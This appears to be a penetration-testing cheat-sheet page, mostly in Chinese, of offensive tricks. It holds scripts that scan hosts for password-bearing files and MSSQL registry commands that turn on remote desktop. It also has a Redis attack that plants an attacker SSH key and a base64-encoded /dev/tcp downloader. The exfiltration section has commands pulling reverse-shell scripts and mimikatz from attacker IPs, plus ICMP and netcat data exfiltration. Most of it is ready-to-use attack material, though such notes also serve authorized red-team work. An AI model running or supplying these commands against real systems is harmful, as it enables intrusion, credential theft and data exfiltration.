Penetration tricks
Payload收集¶
PayloadsAllTheThings¶
https://github.com/swisskyrepo/PayloadsAllTheThings
总结了很多的Payload,很好用
Juicy-Potato(烂土豆)¶
很有名的Windows提权脚本
Windows/Liunx敏感文件收集¶
Exif信息¶
root@John:tmp# exiftool -lang zh-cn -a -u -g1 ./55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg
‐‐‐‐ ExifTool ‐‐‐‐
ExifTool 版本 : 11.16
‐‐‐‐ System ‐‐‐‐
文件名 : 55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg
文件存储位置 : .
文件大小 : 84 kB
更新日期 : 2019:01:20 20:07:57‐05:00
File Access Date/Time : 2019:01:21 08:00:14‐05:00
File Inode Change Date/Time : 2019:01:21 07:59:58‐05:00
File Permissions : rw‐r‐‐r‐‐
‐‐‐‐ File ‐‐‐‐
文件格式 : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
像宽 : 580
像高 : 773
Encoding Process : Baseline DCT, Huffman coding
每个组件的比特数 : 8
Color Components : 3
YCC 像素结构(Y 至 C 的子采样率) : YCbCr4:2:0 (2 2)
‐‐‐‐ JFIF ‐‐‐‐
JFIF 版本 : 1.01
图像高宽分辨率单位 : 英寸
X Resolution : 1
Y Resolution : 1
‐‐‐‐ Composite ‐‐‐‐
图像尺寸 : 580x773
Megapixels : 0.448 30
在大型内网渗透中,尤其是针对办公机的渗透,需要熟知目标集体或者个人的作息时间,工作时间,文档时间,咖啡时间,或者需要从某些文件中获取对方的真实拍摄地坐标等。那么无疑需要快速的从大量文件中筛选信息诉求。当目标越复杂,文件中的信息搜集就更为重要。
如文档作者,技术文章作者,财务文档作者等,熟知在大量人员,获取对方职务,大大减少渗透过程中的无用性,重复性,可见性。与暴露性。而作为公司,应该熟悉相关文档的内置属性,尤其是在共享文件服务器上,删除或者复写敏感信息来降低企业安全风险。
Linux¶
- sh
#!/bin/bash
###
# @Author: dikesi
# @Date: 2024-03-28 23:14:25
# @LastEditors: dikesi
# @LastEditTime: 2024-04-02 17:55:07
# @FilePath: \YifanScripts\FindSensitiveFiles\Linux_SenFiles.sh
# Copyright (c) 2024 by dikesi
###
# Function to display usage information
Usage() {
echo "Usage: $0 RootDir <directory>"
}
# Check if arguments are provided
if [ $# -eq 0 ]; then
echo "Error: No arguments provided."
Usage
exit 1
fi
# Match file content and output to specified file
SearchFilesWithKeywords() {
local file_type="$1"
local keywords=("${@:2}")
find "$StartDir" -type f -name "*.${file_type}" -exec grep -H -e "$(printf "%s\n" "${keywords[@]}")" {} +
}
# Match file paths and sensitive words
SearchFilenamesWithSensitiveWords() {
local file_type="$1"
local sensitive_words=("${@:2}")
find "$StartDir" -type f -name "*.${file_type}" | grep -iFf <(printf "%s\n" "${sensitive_words[@]}")
}
# Define list of file types
FileTypes=("txt" "sql" "doc" "docx" "xls" "xlsx" "csv" "xlsm" "ppt" "pptx")
# Define list of keywords
ContainKeyWords=("important" "confidential" "secret" "user" "passwd"
"password" "name" "pass" "database")
# Define list of sensitive words
SenNameWords=("important" "confidential" "secret" "user" "passwd"
"password" "name" "pass" "database")
# Start searching from user specified directory
StartDir=$1
# Clear or create output files
echo "" >SenContain.log
echo "" >SenName.log
echo "[+]--------------------------------------------Start Searching--------------------------------------------"
# Traverse through list of file types
for file_type in "${FileTypes[@]}"; do
echo "Searching for files with extension '.${file_type}' and containing specified keywords:"
# Append results to files
SearchFilesWithKeywords "$file_type" "${ContainKeyWords[@]}" >>SenContain.log
SearchFilenamesWithSensitiveWords "$file_type" "${SenNameWords[@]}" >>SenName.log
done
echo "[-]--------------------------------------------End Searching--------------------------------------------"
echo "[+]The Files Containing Specified Keywords Saved To SenContain.log"
echo "[+]The Path Of File Containing Sensitive Keywords Saved To SenName.log"
Windows¶
- powershell
# Define the list of file extensions to search for
$fileExtensions = "*.txt", "*.sql", "*.doc", "*.docx", "*.xls", "*.xlsx", "*.csv", "*.xlsm", "*.ppt", "*.pptx"
# Directories to search on the C drive
$SpecialDirectories = @("C:\Users", "C:\Program Files")
# Other drives except for the C drive
$OtherDirectories = Get-PSDrive -PSProvider FileSystem | Where-Object { $_.Name -ne 'C' } | ForEach-Object { $_.Root }
# Define keywords
$Keywords = "important", "confidential", "secret", "user", "passwd",
"password", "name", "pass", "database"
# Chinese keywords are not implemented yet
# "姓名", "密码","身份", "员工", "账密","用户名"
# Create result files
$LogFilePath = Join-Path -Path $PSScriptRoot -ChildPath "result.log"
$SenFilePath = Join-Path -Path $PSScriptRoot -ChildPath "Sensitive.txt"
# Check if result files exist, if not, create them
if (-not (Test-Path $LogFilePath)) {
New-Item -Path $LogFilePath -ItemType File
}
if (-not (Test-Path $SenFilePath)) {
New-Item -Path $SenFilePath -ItemType File
}
# Clear existing result files
Clear-Content -Path $LogFilePath -Force
Clear-Content -Path $SenFilePath -Force
# Define search function
function SearchFiles {
param(
[string[]]$Directories,
[string[]]$Extensions,
[string[]]$Keywords,
[string]$LogFilePath,
[string]$SenFilePath
)
foreach ($directory in $Directories) {
# Get files with specified extensions in the directory (including subdirectories)
$files = Get-ChildItem -Path $directory -Recurse -Include $Extensions -ErrorAction SilentlyContinue
if ($files) {
foreach ($file in $files) {
$containsKeyword = $false
foreach ($keyword in $Keywords) {
# Use case-insensitive regex for matching
if ($file.Name | Select-String -Pattern $keyword -CaseSensitive:$false) {
$containsKeyword = $true
break
}
}
if ($containsKeyword) {
# Output warning to console
Write-Host "WARNING: $($file.FullName)"
# Write result to result file
Add-Content -Path $SenFilePath -Value "WARNING: $($file.FullName)"
}
else {
# Write file path to result file
Add-Content -Path $LogFilePath -Value $file.FullName
}
}
}
}
}
Write-Host "[+]---------------------------------------------------Search Start---------------------------------------------------[+]"
# Call search function for special directories
SearchFiles -Directories $SpecialDirectories -Extensions $fileExtensions -Keywords $Keywords -LogFilePath $LogFilePath -SenFilePath $SenFilePath
# Call search function for other directories
SearchFiles -Directories $OtherDirectories -Extensions $fileExtensions -Keywords $Keywords -LogFilePath $LogFilePath -SenFilePath $SenFilePath
write-Host "[-]---------------------------------------------------Search End---------------------------------------------------[-]"
Write-Host "[+]Results Saved To $LogFilePath"
Write-Host "[+]Sensitive Files Saved To $SenFilePath"
数据库相关¶
SqlServer操作远程桌面¶
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
# 查看是否开启远程桌面
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp','PortNumber'
# 查看RDP端口
EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer','fDenyTSConnections','REG_DWORD',0;
# 开启远程桌面
EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer','fDenyTSConnections','REG_DWORD',1;
# 关闭远程桌面
交互式shell中问题¶
在交互式shell下,无法通过上述命令进入mysql的交互式界面
可以用上述语句来代替,-e为直接执行sql语句
关于各数据库能否直接执行系统命令的讨论¶
关系型数据库¶
下面是对主流数据库的对比分析:
Microsoft SQL Server¶
- 支持方式:内置扩展存储过程
xp_cmdshell -
权限要求:
-
默认**禁用**(出于安全考虑);
- 需要
sysadmin固定服务器角色启用并执行; - 可通过
sp_configure 'xp_cmdshell', 1启用。 - 特点:
- 官方原生支持,无需额外安装;
- 命令以 SQL Server 服务账户身份运行;
- 是**最典型的“数据库直接执行系统命令”的例子**。
✅ 结论:SQL Server 是主流数据库中**唯一默认提供官方、内置、一键启用的系统命令执行接口**的。
PostgreSQL¶
- 无类似
xp_cmdshell的内置函数。 - 间接方式:
COPY ... PROGRAM(需pg_execute_server_program角色);- 不受信任的过程语言(如
plpython3u); - C 扩展。
- 关键区别:
- 这些功能**不是默认开启**;
- 需要超级用户显式授权或安装;
- 不属于“标准 SQL 功能”,而是高权限扩展能力。
📌 不是“直接支持”,而是“高权限下可间接实现”。
MySQL/MariaDB¶
- 无官方内置的系统命令执行函数。
- 历史上存在过一些间接方式,但:
-
-sys_exec/sys_eval:仅存在于 **MySQL UDF(用户自定义函数)示例代码**中,默认不安装,需手动编译.so/.dll并加载(需root权限 + 文件系统写权限 +plugin_dir可写)。SELECT ... INTO OUTFILE:可写文件,但**不能执行命令**(除非写入 Web shell 且有 Web 服务配合)。 - 现代版本限制更严: -
secure_file_priv限制文件读写路径; - 默认禁止动态加载 UDF。
📌 不提供原生支持,需手动注入恶意 UDF(高门槛、高权限)。
Oracle Database¶
- 无直接执行 OS 命令的 SQL 函数。
- 间接方式:
- Java 存储过程:DBA 可创建 Java 类调用
Runtime.exec(),但需:- 授予
JAVAUSERPRIV等权限; - 显式部署 Java 代码。
- 授予
- 外部过程(External Procedures):通过 C 共享库调用,需配置
extproc代理,且默认禁用。 - 普通用户无法使用,且配置复杂。
📌 功能存在但极度受限,非“开箱即用”。
SQLite¶
- 嵌入式数据库,无用户/权限模型;
- 本身不支持执行系统命令;
- 但如果宿主程序(如 Python、C++ 应用)将 SQL 查询结果用于
system()调用,则可能被注入,但这属于**应用层漏洞,非 SQLite 本身功能**。
总结对比表¶
| 数据库 | 是否有类似 xp_cmdshell 的**内置、官方、一键启用**功能? |
是否可在高权限下间接执行命令? |
|---|---|---|
| SQL Server | ✅ 是(xp_cmdshell) |
✅ 是(且最简单) |
| PostgreSQL | ❌ 否 | ✅ 是(需特权角色/扩展) |
| MySQL | ❌ 否 | ⚠️ 是(需手动加载 UDF) |
| Oracle | ❌ 否 | ⚠️ 是(需 Java/外部过程) |
| SQLite | ❌ 否 | ❌ 否(无此能力) |
最终结论¶
在主流关系型数据库中,只有 Microsoft SQL Server 提供了官方内置、可直接启用的系统命令执行功能(
xp_cmdshell),其他数据库要么完全不支持,要么需要超级用户权限 + 手动安装扩展/UDF/配置,不属于“开箱即用”的能力。
这也是为什么在渗透测试和红队演练中,SQL Server 的 xp_cmdshell 经常成为权限提升的关键跳板,而其他数据库则需要更复杂的利用链。
非关系型数据库¶
在非关系型数据库(NoSQL)中,部分系统确实存在可被利用来执行系统命令的机制,但与 SQL Server 的 xp_cmdshell 不同,这些通常**不是设计功能,而是配置不当、漏洞或高权限操作导致的安全风险**。下面以主流 NoSQL 数据库为例分析:
Redis¶
- 可通过
CONFIG SET+ 模块/写文件实现 RCE
Redis 本身没有执行系统命令的命令,但在**未授权访问 + 高权限运行 + 特定条件下**,可间接实现命令执行。
常见利用方式:
- 写 SSH 公钥(需 Redis 以 root 运行 + .ssh 目录可写)
# 攻击者连接 Redis
redis-cli -h target
> CONFIG SET dir /root/.ssh/
> CONFIG SET dbfilename authorized_keys
> SET crack "\n\nssh-rsa AAAAB3... attacker\n\n"
> SAVE
- 写 Web Shell(需 Web 目录可写)
类似写入 PHP/ASPX 文件,配合 Web 服务执行。
- 加载恶意 Redis 模块(Redis 4.0+)
Redis 支持动态加载 .so 模块(需 MODULE LOAD 命令):
system() 执行任意命令。
⚠️ 前提: - Redis 未授权访问(无密码或弱密码); - Redis 以高权限用户(如 root)运行; - 文件系统可写(如
/tmp、Web 目录、~/.ssh)。
✅ 结论:Redis 本身不提供 exec 命令,但配置不当可被 RCE。
MongoDB¶
默认无法直接执行系统命令
- 早期版本(< 2.4)支持
eval执行 JavaScript,但**不能调用系统命令**。 - 从 3.0 起,
eval被限制,且默认禁用。 - 无内置 OS 命令执行功能。
潜在风险(极少见):
- 如果 MongoDB 以高权限运行,且攻击者能写入数据库文件(如通过备份/恢复),理论上可替换二进制文件,但这属于**本地提权**,非远程命令执行。
- 无已知通用 RCE 向量。
✅ 结论:MongoDB 无法直接或间接执行系统命令(除非存在 0day 漏洞)。
Elasticsearch¶
历史上存在 RCE 漏洞,但**非设计功能**
- CVE-2014-3160(“脚本引擎 RCE”): 旧版本(< 1.2)允许在查询中执行 Groovy/JavaScript 脚本,可调用 Java API 执行命令:
- 默认禁用动态脚本;
- 仅允许存储脚本(stored scripts);
- 无法执行任意代码。
✅ 结论:新版本 Elasticsearch 无法执行系统命令;旧版本因漏洞可 RCE,但已修复。
Cassandra/HBase/Couchbase等¶
- 无任何内置系统命令执行功能;
- 无已知通用 RCE 机制;
- 安全模型聚焦于数据访问控制,而非 OS 集成。
✅ 结论:不能执行系统命令。
总结¶
| 数据库 | 能否执行系统命令? | 说明 |
|---|---|---|
| Redis | ✅ 可以(间接) | 通过写文件、模块加载,需未授权+高权限 |
| MongoDB | ❌ 否 | 无此能力,脚本功能受限 |
| Elasticsearch | ⚠️ 旧版本可以 | 因脚本引擎漏洞,新版本已修复 |
| Cassandra / HBase / Couchbase | ❌ 否 | 无相关机制 |
结论¶
在非关系型数据库中,只有 Redis 在特定错误配置下(如未授权访问 + 高权限运行)可被利用来间接执行系统命令;其他主流 NoSQL(如 MongoDB、Elasticsearch 新版本等)默认无法执行系统命令。
这与 SQL Server 的 xp_cmdshell(官方内置功能)有本质区别——Redis 的 RCE 是**配置缺陷导致的滥用**,而非设计特性。
Linux受限情况下载文件¶
当服务器没有wget、curl怎么下载文件?不能出网? yum apt-get
前置情况:
- 服务器不能上网
- 没有wget
- 没有curl
Busybox是什么?¶
https://baike.baidu.com/item/busybox/427860
在遇到没有wget的方式时,可以通过curl命令来下载busybox之后安装wget命令。
curl -o busybox http://1.1.1.1/busybox && chmod +x /root/busybox && /root/busybox --install /usr/local/sbin/ && rm -rf /root/busybox && echo "1"
这种方式只能解决部分问题,遇到了没有wget和curl命令的时候就很无解。
以下这段代码主要功能是使用Bash的/dev/tcp文件执行HTTP请求,这就解决了服务器没有wget、curl也能够下载文件
# 下载代码
read proto server path <<< "${1//"/"/ }"
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
# -r 屏蔽 \,按行读取Header部分,匹配到\r就停止读取
while IFS= read -r line ; do
[[ "$line" == $'\r' ]] && break
done <&3
nul='\0'
# 读取body的内容
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
printf "%s$nul" "$x"
done <&3
#关闭输出
exec 3>&-
echo Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download
下载文件:
执行流程分析:
#用read读取URL参数并且进行URL解析并得到path、server、port
+ read proto server path
#获取名称、IP、PORT定义变量
+ DOC=/busybox
+ HOST=10.32.38.80
+ PORT=80
#加上x防止出现语法错误
#不加x,当变量为空时会没有,if[ == "0"],会出现语法错误
#加上x,当变量为空时,解析会 if ["x" == "x"],依然正确
+ [[ x10.32.38.80 == x\8\0 ]]
#exec 3<>/dev/tcp/${HOST}/$PORT
#打开tcp Socks,以读写的方式打开。结束以3>&-方式关闭输出连接
+ exec
#转义并加上输出都加上\n换行
+ echo -en 'GET /busybox HTTP/1.0\r\nHost: 10.32.38.80\r\n\r\n'
+ IFS=
#读取每一行请求的内容,遇到\n就结束
+ read -r line
]] \HTTP/1.1 200 OK
+ IFS=
+ read -r line
]] \Date: Sun, 24 Apr 2022 02:36:39 GMT
+ IFS=
+ read -r line
]] \Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
+ IFS=
+ read -r line
]] \Last-Modified: Sun, 24 Apr 2022 02:33:33 GMT
+ IFS=
+ read -r line
]] \ETag: "4-5dd5d493bcb25"
+ IFS=
+ read -r line
]] \Accept-Ranges: bytes
+ IFS=
+ read -r line
]] \Content-Length: 4
+ IFS=
+ read -r line
]] \Connection: close
+ IFS=
+ read -r line
]] \Content-Type: text/plain
+ IFS=
+ read -r line
]] \
+ break
+ nul='\0'
+ IFS=
#以空作为结束符
+ read -d '' -r x
+ nul=
+ '[' -n test ']'
#有则通过printf打印内容给到%s
+ printf %s test
+ IFS=
+ read -d '' -r x
+ nul=
+ '[' -n '' ']'
+ exec
Exfiltration¶
Commonly whitelisted domains to exfiltrate information¶
Check https://lots-project.com/ to find commonly whitelisted domains that can be abused
Copy&Paste Base64¶
Linux
Windows
HTTP¶
Linux
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
Windows
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Upload files¶
- SimpleHttpServerWithFileUploads
- SimpleHttpServer printing GET and POSTs (also headers)
- Python module uploadserver:
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world
# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
HTTPS Server¶
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:443
### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###
### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###
### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
FTP¶
FTP server (python)¶
FTP server (NodeJS)¶
FTP server (pure-ftp)¶
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
Windows client¶
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
SMB¶
Kali as server
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
Or create a smb share using samba:
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
Windows
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
SCP¶
The attacker has to have SSHd running.
SSHFS¶
If the victim has SSH, the attacker can mount a directory from the victim to the attacker.
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
NC¶
/dev/tcp¶
Download file from victim¶
Upload file to victim¶
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
thanks to @BinaryShadow_
ICMP¶
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
SMTP¶
If you can send data to an SMTP server, you can create an SMTP to receive the data with python:
TFTP¶
By default in XP and 2003 (in others it needs to be explicitly added during installation)
In Kali, start TFTP server:
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
TFTP server in python:
In victim, connect to the Kali server: